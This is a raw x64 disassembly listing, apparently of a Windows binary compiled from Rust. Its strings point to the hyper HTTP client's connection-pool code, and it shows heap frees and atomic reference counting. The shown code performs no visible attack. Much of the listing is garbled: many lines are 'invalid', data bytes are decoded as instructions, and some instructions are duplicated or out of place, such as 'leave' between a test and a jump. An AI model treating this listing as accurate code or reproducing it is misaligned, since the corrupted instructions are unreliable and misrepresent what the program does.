je 0x140063430
cmp r10d, 2
jne 0x140064061
cmp byte [rsp + 0xc8], 2
je 0x1400634d0
cmp dword [rsp + 0x38], 0
jne 0x140063441
jmp 0x140064061
cmp byte [r13 - 0x4f], 0
je 0x14006353f
cmp byte [rsp + 0xb8], 0
jne 0x14006354d
jmp 0x140063441
mov r10, qword [r13 - 0x48]
mov rbx, qword [r10 + 0x10]
mov rdx, qword [rsp + 0xc0]
cmp rbx, qword [rdx + 0x10]
jne 0x140063441
mov r10, qword [r10 + 8]
mov rdx, qword [rsp + 0xc0]
mov rdi, qword [rdx + 8]
xor r15d, r15d
nop dword [rax]
cmp rbx, r15
je 0x14006354d
movzx ebp, byte [r10 + r15]
movzx r14d, byte [rdi + r15]
inc r15
lea r9d, [rbp - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
lea edx, [r14 - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or r9b, bpl
or dl, r14b
cmp r9b, dl
je 0x140063500
jmp 0x140063441
cmp byte [rsp + 0xb8], 0
jne 0x140063441
cmp qword [r13 - 0x30], rsi
cmp dword [rbp - 0x30], esi
jne 0x140063441
mov r10, qword [r13 - 0x38]
xor edi, edi
nop dword [rax]
cmp rsi, rdi
je 0x14006359d
movzx edx, byte [r10 + rdi]
movzx r9d, byte [r12 + rdi]
inc rdi
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
setb bl
shl bl, 5
lea ebp, [r9 - 0x41]
cmp bpl, 0x1a
setb bpl
shl bpl, 5
or bl, dl
or bpl, r9b
cmp bl, bpl
je 0x140063560
jmp 0x140063441
invalid
movdqu xmm0, xmmword [rsp + 0x40]
movdqu xmm1, xmmword [rsp + 0x50]
movdqu xmm2, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xf0], xmm2
movdqa xmmword [rsp + 0xe0], xmm1
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x50], xmm1
movq qword [rsp + 0x50], mm1
movq qword [rsp + 0x50], mm1
mov qword [rsp + 0x70], r13
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x78], rax
movzx eax, byte [rsp + 0x40]
cmp al, 3
mov r12, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x188]
je 0x14006365c
cmp al, 2
jb 0x140063645
mov r12, qword [rsp + 0x48]
lea rcx, [r12 + 0x18]
mov rax, qword [r12]
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
mov r12, qword [rsp + 0xa0]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x10]
mov rcx, qword [r13 - 0x20]
mov rax, qword [r13 - 8]
cmp rax, rcx
jne 0x14006367a
lea rcx, [r13 - 0x20]
call fcn.1400eae00
mov rcx, qword [r13 - 0x20]
mov rax, qword [r13 - 8]
mov rdx, qword [r13 - 0x10]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [r13 - 0x18]
mov r14, qword [rsp + 0x178]
mov qword [rcx + rdx*8], r14
inc rax
mov qword [r13 - 8], rax
movzx eax, byte [r14 + 0x80]
test al, al
jne 0x1400637f8
mov rax, qword [rdi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov cl, 1
xchg byte [r14 + 0x60], cl
test cl, cl
je 0x1400637bc
mov rcx, rdx
mov ecx, edx
call qword [rax + 0x18]
jmp 0x1400637f8
mov r8, qword [r14 + 0x50]
test r8, r8
je 0x1400637de
mov rcx, qword [r14 + 0x58]
mov rsi, rax
mov rdi, rdx
call qword [r8 + 0x18]
mov rdx, rdi
mov rax, rsi
mov rsi, qword [rsp + 0x28]
mov qword [r14 + 0x50], rax
mov qword [r14 + 0x58], rdx
xor eax, eax
xchg byte [r14 + 0x60], al
movzx eax, byte [r14 + 0x80]
test al, al
je 0x14006386b
mov al, 1
xchg byte [r14 + 0x48], al
test al, al
jne 0x14006409f
movzx eax, byte [r14 + 0x41]
mov byte [r14 + 0x41], 2
cmp al, 2
je 0x140064099
mov rcx, r14
add rcx, 0x10
movzx edx, byte [rcx + 0x30]
mov byte [rsp + 0x70], dl
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
mov ecx, dword [r14 + 0x42]
mov dword [rsp + 0x72], ecx
movzx ecx, word [r14 + 0x46]
mov word [rsp + 0x76], cx
mov byte [rsp + 0x71], al
xor ecx, ecx
xchg byte [r14 + 0x48], cl
cmp al, 3
jne 0x1400640a4
mov rdi, rsi
mov rsi, qword [rsi + 0x38]
test rsi, rsi
je 0x1400638df
mov bl, 1
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x1400638a7
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
xor edx, edx
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x1400638a7
call qword [rax + 0x18]
xchg byte [rsi + 0x78], bl
test bl, bl
jne 0x1400638cb
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
xor edx, edx
xchg byte [rsi + 0x78], dl
test rax, rax
je 0x1400638cb
call qword [rax + 8]
lock dec qword [rsi]
mov rdi, qword [rsp + 0x28]
jne 0x1400638df
mov rcx, qword [rdi + 0x38]
call fcn.140066b70
mov qword [rdi + 0x38], r14
cmp dword [rsp + 0x140], 0x3b9aca00
mov rsi, rdi
je 0x140063900
lea rcx, [rsp + 0x100]
call fcn.140066be0
mov rcx, qword [rsp + 0x88]
mov eax, dword [rsp + 0x34]
mov dil, 1
test al, al
jne 0x140063926
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140063b78
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140063934
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test dil, dil
je 0x1400639cc
mov byte [rsp + 0x170], 2
cmp qword [rsi + 0x30], 0
je 0x140063966
mov byte [r12 + 0x70], 3
add rsp, 0x248
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140064079
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.pool_is_disabledC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonlazy.rs
adc eax, 0xde235
adc eax, 0xde235
mov r8d, 0x10
mov rcx, rax
call fcn.140065ca0
mov qword [r12], rdi
cmp byte [rsp + 0x170], 2
mov byte [r12 + 0x70], 2
je 0x140063952
lea rcx, [rsp + 0x100]
call fcn.140064ad0
jmp 0x140063952
mov rdx, qword [rsi + 0x30]
lea rcx, [rsp + 0x100]
lea r9, [rsp + 0x1e0]
mov r8, rsi
call fcn.1400b9d50
cmp byte [rsp + 0x170], 2
je 0x140063945
mov rax, qword [rsp + 0x170]
mov qword [r12 + 0x70], rax
movups xmm0, xmmword [rsp + 0x160]
movups xmmword [r12 + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x150]
movups xmmword [r12 + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x140]
movups xmmword [r12 + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x100]
movups xmm1, xmmword [rsp + 0x110]
movups xmm2, xmmword [rsp + 0x120]
movups xmm3, xmmword [rsp + 0x130]
movups xmmword [r12 + 0x30], xmm3
movups xmmword [r12 + 0x20], xmm2
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
jmp 0x140063952
invalid
and al, 0x71
lea rcx, [rsp + 0x72]
cmp r15b, 2
jne 0x140063b9e
mov byte [rsp + 0x38], al
mov byte [rsp + 0xa8], r8b
test rbp, rbp
mov qword [rsp + 0xc8], rdx
je 0x140063c69
mov rcx, rbp
call qword [rdx + 0x18]
jmp 0x140063c6b
call fcn.140110270
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
test al, al
jne 0x140063926
mov byte [rdx + 0x11], 1
jmp 0x140063926
mov qword [rsp + 0xd7], rbp
mov qword [rsp + 0xdf], rdx
mov qword [rsp + 0xe7], rsi
mov byte [rsp + 0xef], al
mov eax, dword [rcx]
mov dword [rsp + 0x98], eax
movzx eax, word [rcx + 4]
mov word [rsp + 0x9c], ax
mov eax, dword [rsp + 0x51]
mov ecx, dword [rsp + 0x54]
mov dword [rsp + 0xd0], eax
mov dword [rsp + 0xd3], ecx
jmp 0x140063d08
mov rax, qword [rsp + 0x90]
cmp qword [rax + 0x98], 0
mov rdi, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x198]
je 0x140064024
movups xmm0, xmmword [rsp + 0x40]
movdqu xmm1, xmmword [rsp + 0x50]
movdqu xmm2, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xf0], xmm2
movdqa xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
movdqu xmm0, xmmword [rcx + rdx]
pmovmskb eax, xmm0
test eax, eax
mov r12, qword [rsp + 0xa0]
je 0x140063f39
mov rsi, qword [rsp + 0x28]
mov r9, qword [rsp + 0x180]
jmp 0x140063f63
xor eax, eax
lock inc qword [rsi]
jle 0x140064088
lock inc qword [rdi]
movzx ecx, byte [rsp + 0xa8]
lea r8, [rsp + 0x72]
jle 0x140064088
lock inc qword [r14 + 0x1c8]
lock inc qword [r14]
jle 0x140064088
mov qword [rsp + 0x22f], rax
mov qword [rsp + 0x237], rdx
mov qword [rsp + 0x23f], rsi
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x247], al
mov qword [rsp + 0xd7], rbp
mov rdx, qword [rsp + 0xc8]
mov qword [rsp + 0xdf], rdx
mov qword [rsp + 0xe7], rsi
mov byte [rsp + 0xef], al
mov eax, dword [r8]
mov dword [rsp + 0x98], eax
movzx eax, word [r8 + 4]
mov word [rsp + 0x9c], ax
cmp cl, 2
jne 0x140063d1d
mov r8b, 2
lea rax, [rsp + 0x98]
lea rcx, [rsp + 0xd0]
jmp 0x140063dc3
call fcn.1400dfa40
mov ebp, edx
mov rsi, qword [rbx - 8]
cmp rsi, qword [rbx - 0x18]
jne 0x140063d45
lea rcx, [rbx - 0x18]
mov dword [rsp + 0x38], ebp
mov rbp, rax
call fcn.14001f100
mov rax, rbp
mov ebp, dword [rsp + 0x38]
mov r11, qword [rbx - 0x10]
lea rcx, [rsi + rsi*8]
mov qword [r11 + rcx*8], rdi
mov qword [r11 + rcx*8 + 8], r14
mov byte [r11 + rcx*8 + 0x10], 2
movdqu xmm0, xmmword [rsp + 0xd0]
movdqu xmm1, xmmword [rsp + 0xe0]
movdqu xmmword [r11 + rcx*8 + 0x11], xmm0
movdqu xmmword [r11 + rcx*8 + 0x21], xmm1
movzx r8d, byte [rsp + 0xa8]
mov byte [r11 + rcx*8 + 0x31], r8b
lea r9, [rsp + 0x72]
mov edx, dword [r9]
mov dword [r11 + rcx*8 + 0x32], edx
movzx edx, word [r9 + 4]
mov word [r11 + rcx*8 + 0x36], dx
mov qword [r11 + rcx*8 + 0x38], rax
mov dword [r11 + rcx*8 + 0x40], ebp
inc rsi
mov qword [rbx - 8], rsi
lea rax, [rsp + 0x1da]
lea rcx, [rsp + 0x228]
movups xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmmword [rsp + 0x121], xmm1
movups xmmword [rsp + 0x111], xmm0
mov ecx, dword [rax]
mov dword [rsp + 0x132], ecx
movzx eax, word [rax + 4]
mov word [rsp + 0x136], ax
cmp qword [rbx - 8], 0
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0x108], r14
mov byte [rsp + 0x110], r15b
mov byte [rsp + 0x131], r8b
mov qword [rsp + 0x138], r12
mov dword [rsp + 0x140], r13d
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x1e8], rax
movzx eax, byte [rsp + 0x110]
mov byte [rsp + 0x1f0], al
mov rax, qword [rsp + 0x111]
mov qword [rsp + 0x1f1], rax
mov eax, dword [rsp + 0x119]
mov dword [rsp + 0x1f9], eax
movzx eax, word [rsp + 0x11d]
mov word [rsp + 0x1fd], ax
movzx eax, byte [rsp + 0x11f]
mov byte [rsp + 0x1ff], al
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x200], xmm0
movdqu xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x210], xmm0
mov rsi, qword [rsp + 0x28]
je 0x140063ec2
xor edi, edi
jmp 0x140062fdb
lea rcx, [rsp + 0x40]
mov rdx, qword [rsp + 0xb8]
mov r8, rsi
call fcn.1400b9e90
mov rsi, qword [rsp + 0x40]
movabs rax, 0x8000000000000000
cmp rsi, rax
mov r12, qword [rsp + 0xa0]
je 0x140063f2d
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x140063f16
mov r15, r14
mov rcx, r15
call fcn.140066be0
add r15, 0x48
dec rdi
jne 0x140063f05
test rsi, rsi
je 0x140063f2d
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
mov rsi, qword [rsp + 0x28]
jmp 0x140062fe3
mov r8d, 0x10
mov rsi, qword [rsp + 0x28]
mov r9, qword [rsp + 0x180]
add rdx, r8
and rdx, rbx
movdqu xmm0, xmmword [rcx + rdx]
pmovmskb eax, xmm0
add r8, 0x10
test eax, eax
je 0x140063f4c
tzcnt eax, eax
add rax, rdx
and rax, rbx
movzx r8d, byte [rcx + rax]
test r8b, r8b
js 0x140063f88
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
tzcnt eax, eax
movzx r8d, byte [rcx + rax]
lea rdx, [rax - 0x10]
and rdx, rbx
mov byte [rcx + rax], r9b
mov byte [rcx + rdx + 0x10], r9b
neg rax
lea rax, [rax + rax*4]
shl rax, 4
lea r13, [rcx + rax]
and r8b, 1
movzx edx, r8b
mov r8, qword [rsp + 0x90]
sub qword [r8 + 0x98], rdx
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmm1, xmmword [rsp + 0xe0]
movdqa xmm2, xmmword [rsp + 0xf0]
movdqu xmmword [rcx + rax - 0x30], xmm2
movdqu xmmword [rcx + rax - 0x40], xmm1
movdqu xmmword [rcx + rax - 0x50], xmm0
mov qword [rcx + rax - 0x20], 0
mov qword [rcx + rax - 0x18], 8
pxor xmm0, xmm0
movdqu xmmword [rcx + rax - 0x10], xmm0
inc qword [r8 + 0xa0]
mov rcx, qword [r13 - 0x20]
mov rax, qword [r13 - 8]
cmp rax, rcx
je 0x140063669
jmp 0x14006367a
lea rdx, [rax + 0xa8]
mov rcx, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0x190]
call fcn.14010e9e0
mov rax, qword [rsp + 0x90]
mov rcx, qword [rax + 0x88]
mov rbx, qword [rax + 0x90]
and rsi, rbx
mov rdx, rsi
jmp 0x140063c13
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs
mov edx, 0x28
call fcn.140108350
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
ud2
xor eax, eax
xchg byte [r14 + 0x48], al
mov byte [rsp + 0x71], 2
lea rcx, [rsp + 0x40]
call fcn.1400ba230
lea rcx, str.assertion_failed:_Pin::new_mut_rx_.poll_cx_.is_pending__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x39
call fcn.140108350
mov ecx, 8
mov edx, 0x20
call fcn.140107fe0
int3
mov rax, qword [rdx + 0x10]
mov rcx, rdx
call qword [rax + 0x30]
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140065631
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006556c
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x10]
xor esi, esi
jmp 0x1400655ef
mov rax, rsi
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rdi, rdx
call fcn.14010af70
mov rdx, rdi
jmp 0x140065538
add bl, ch
mov esi, 0xd8d48
mov cl, byte [rsi]
add byte [rbp + rcx*4 + 5], cl
and dword [rdx + 0x27ba000e], ecx
add byte [rax], al
add byte [rax], al
invalid
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
add byte [rax], al
add byte [rax], al
call fcn.140108350
mov qword [rsp + 0x50], 0
lea rdx, [rsp + 0x38]
lea r9, [0x140140b80]
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x50]
push rax
push rax
call fcn.14010dad0
mov qword [rsp + 0x50], 0
add rcx, 8
lea rdx, [rsp + 0x48]
lea edx, [rsp + 0x48]
lea edx, [rsp + 0x48]
lea r8, [rsp + 0x50]
call fcn.14010db10
int3
int3
xchg dword [rbp + 0x48000001], edx
mov esi, ecx
xchg ebp, eax
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
lea rcx, [0x1401779c4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0xffffffffffffff80
add dh, byte ds:[rdx + 0x28]
cmp byte [rsi], 2
jb 0x1400656e7
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
mov edx, dword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
add rsi, 0x28
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
mov rax, qword [rsi + 0x2b0]
mov eax, dword [rsi + 0x2b0]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmovb ecx, edx
cmovb ecx, edx
cmp rcx, 1
je 0x1400657ae
test rcx, rcx
leave
jne 0x140065817
lea rcx, [rsi + 0x2b8]
call fcn.1400646f0
jmp 0x140065817
cmp dword [rsi + 0x2e8], 9
je 0x140065833
lea rcx, [rsi + 0x2a8]
call fcn.140064e20
mov rax, qword [rsi + 0x2e8]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x1400657e0
test rcx, rcx
leave
jne 0x140065833
lea rcx, [rsi + 0x2f0]
call fcn.1400646f0
jmp 0x140065833
lea rcx, [rsi + 0x2b0]
call fcn.140064e20
xor dh, 0xff
inc esi
xchg byte [rdx + rax - 0x41000000], ah
movsd dword [rdi], dword [rsi]
add al, byte [rax]
add bl, ch
invalid
xor dh, 0xff
inc esi
xchg byte [rdx + rax - 0x41000000], ah
movsd dword [rdi], dword [rsi]
add al, byte [rax]
add bl, ch
jne 0x140065732
cmp eax, 5
jne 0x1400657d2
clc
add eax, 0x8d481f75
invalid
lea rcx, [rsi + 0x2b8]
movzx eax, byte [rsi + 0x328]
cmp eax, 2
je 0x140065812
cmp eax, 3
je 0x140065817
call fcn.140064ad0
jmp 0x140065817
lea rcx, [rsi + 0x2b0]
call fcn.140064840
jmp 0x140065817
cmp eax, 5
jne 0x140065804
lea rcx, [rsi + 0x2f0]
movzx eax, byte [rsi + 0x360]
cmp eax, 2
je 0x140065843
cmp eax, 3
je 0x140065833
call fcn.140064ad0
jmp 0x140065833
lea rcx, [rsi + 0x2e8]
call fcn.140064840
jmp 0x140065833
call fcn.140035fe0
mov byte [rsi + 0x2a2], 0
mov edi, 0x2a3
lea rcx, [rsi + 0x2a8]
lea ecx, [rsi + 0x2a8]
call fcn.140035fe0
mov byte [rsi + rdi], 0
mov word [rsi + 0x2a6], 0
add rsp, 0x28
pop rdi
pop rsi
ret
call fcn.140035fe0
jmp 0x140065833
adc eax, 0xac627
mov qword [rsi], rdi
lea rax, [0x14013d280]
mov qword [rsi + 8], rax
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
ret
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea ecx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r15 + 0x120], 1
add al, ch
or ch, bl
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0x11c]
movzx r15d, byte [rax + 0x11d]
mov eax, r15d
test bpl, bpl
je 0x140065f31
test r15b, r15b
je 0x140065f7d
lea eax, [r15 - 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11d], al
mov rax, qword [r14 + 0x30]
test al, 2
je 0x140065f68
jmp 0x140066095
xor r15d, r15d
mov rax, qword [r14 + 0x30]
test al, 2
jne 0x140066095
test al, 4
jne 0x1400660d5
add al, 0xf
test dword [rbp + 1], esp
add byte [rax], al
test al, 1
jne 0x140065f96
test al, 1
je 0x140065fd2
jmp 0x140066007
mov rax, qword [r12]
mov rcx, qword [r12 + 8]
call qword [rax + 0x10]
mov qword [rsi + 8], 6
jmp 0x1400660dd
mov rcx, qword [r14 + 0x28]
cmp rcx, qword [r12 + 8]
jne 0x140065fab
mov rcx, qword [r14 + 0x20]
cmp rcx, qword [r12]
je 0x140065f74
mov rax, qword [r14 + 0x30]
nop
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x140065fb0
test al, 2
jne 0x14006608f
mov rax, qword [r14 + 0x20]
mov rcx, qword [r14 + 0x28]
call qword [rax + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], rdx
mov rax, qword [r14 + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x140065ff0
test al, 2
jne 0x140066095
test bpl, bpl
je 0x1400660cb
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140066064
test eax, eax
jne 0x1400660cb
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], r15b
mov qword [rsi + 8], 6
jmp 0x1400660dd
lock or qword [r14 + 0x30], 1
mov rbx, qword [r14 + 0x38]
mov r15, qword [r14 + 0x40]
mov qword [r14 + 0x40], 5
cmp r15, 5
je 0x1400660d5
lea rdx, [r14 + 0x48]
lea rcx, [rsp + 0x50]
mov r8d, 0xf8
call fcn.140106250
cmp r15, 5
je 0x1400660d5
cmp r15, 6
jne 0x1400660ef
mov qword [rsi + 8], 6
jmp 0x1400660dd
mov qword [rsi + 8], 5
add rsp, 0x240
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [rsp + 0x148]
lea rdx, [rsp + 0x50]
mov r8d, 0xf8
call fcn.140106250
lock dec qword [r14]
jne 0x140066115
mov rcx, qword [rdi]
call fcn.140065850
mov qword [rdi], 0
mov qword [rsi], rbx
mov qword [rsi + 8], r15
add rsi, 0x10
lea rdx, [rsp + 0x148]
mov r8d, 0xf8
mov rcx, rsi
call fcn.140106250
jmp 0x1400660dd
int3
inc dword [rbx - 0x5d8bfcc2]
mov rcx, rsi
call fcn.140002f70
add rdi, 0xf8
mov rcx, rdi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.14005bac0
sal byte [rdi + rax + 0x48], 0x8b
sbb dil, r15b
push rax
sbb byte [rax - 0x75], cl
sub byte [rax - 0x7b], r9b
invalid
invalid
test rax, rax
je case.0x14001a5bd.1872
sal byte [rdi + rax + 0x48], 0x8b
xor dil, r15b
push rax
sbb byte [rax - 0x7d], cl
invalid
invalid
invalid
mov rcx, qword [rsi + 0x30]
call qword [rax + 0x18]
cmp rsi, 0xffffffffffffffff
je 0x14006635d
lock dec qword [rsi + 8]
jne 0x14006635d
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
call fcn.140064ad0
cmp byte [rsi + 0x241], 0
jne 0x1400663c6
jmp 0x1400663de
lea rcx, [rsi + 0x248]
call fcn.140065690
cmp byte [rsi + 0x241], 0
je 0x1400663de
lea rcx, [rsi + 0x140]
call fcn.140002f70
lea rcx, [rsi + 0x220]
call fcn.14005bac0
mov byte [rsi + 0x241], 0
add rsp, 0x28
pop rdi
pop rsi
ret
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [rdi + 0x108]
mov qword [rdi + 0x100], 0
lock and qword [rdi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x140066d41
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140066d5a
add rsi, 8
mov rcx, qword [rsi]
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140066d70
nop
add rsp, 0x20
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
ret
int3
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.140066f10
mov rsi, qword [rsp + 0x250]
push rax
add al, byte [rax]
add byte [rax - 0x73], cl
std
push rax
add al, byte [rax]
add byte [rax - 0x73], cl
std
cmp rax, 1
jbe 0x140066e64
add byte [rax], al
add byte [rax], al
cmp esi, 2
je 0x140066dc0
mov r8d, 0x100
lea rcx, [rsp + 0x50]
mov rdx, r15
call fcn.140106250
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x258]
movups xmm0, xmmword [rax]
movups xmmword [r14], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140066ef9
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
mov r8d, 0x11
mov rcx, rax
mov rdx, r12
call fcn.140065ca0
mov qword [rsp + 0x48], rsi
mov rcx, r13
mov rdx, rbp
call fcn.140067130
jmp 0x140066dc0
mov rbx, qword [rsp + 0x28]
mov r8, qword [rbx + 0x1a8]
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
nop word [rax + rax]
mov rdi, qword [r8 + 0x2308]
mov rcx, qword [0x140182260]
xor edx, edx
call rsi
mov r8, rdi
test rdi, rdi
jne 0x140066e80
mov rax, qword [rbx + 0x100]
test rax, rax
je 0x140066eb0
mov rcx, qword [rbx + 0x108]
call qword [rax + 0x18]
cmp rbx, 0xffffffffffffffff
je 0x140066ee4
lock dec qword [rbx + 8]
jne 0x140066ee4
mov r8, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
int3
pause
mov r8, qword [rdi + 8]
cmp r8, qword [rdi]
je 0x140067068
mov rax, qword [r8 + 0x2310]
bt rax, 0x20
jae 0x140067068
mov rax, qword [r8 + 0x2318]
cmp rax, qword [rdi + 0x10]
ja 0x140067068
mov rax, qword [r8 + 0x2308]
test rax, rax
je 0x140067117
mov qword [rdi + 8], rax
movups xmmword [r8 + 0x2300], xmm6
mov qword [r8 + 0x2310], 0
mov rcx, qword [rbx]
mov rax, qword [rcx + 0x2300]
add rax, 0x20
mov qword [r8 + 0x2300], rax
add byte [rax], al
add byte [rax], al
xor eax, eax
lock cmpxchg qword [rcx + 0x2308], r8
je 0x140066f90
mov rcx, qword [rax + 0x2300]
add rcx, 0x20
mov qword [r8 + 0x2300], rcx
mov rcx, rax
xor eax, eax
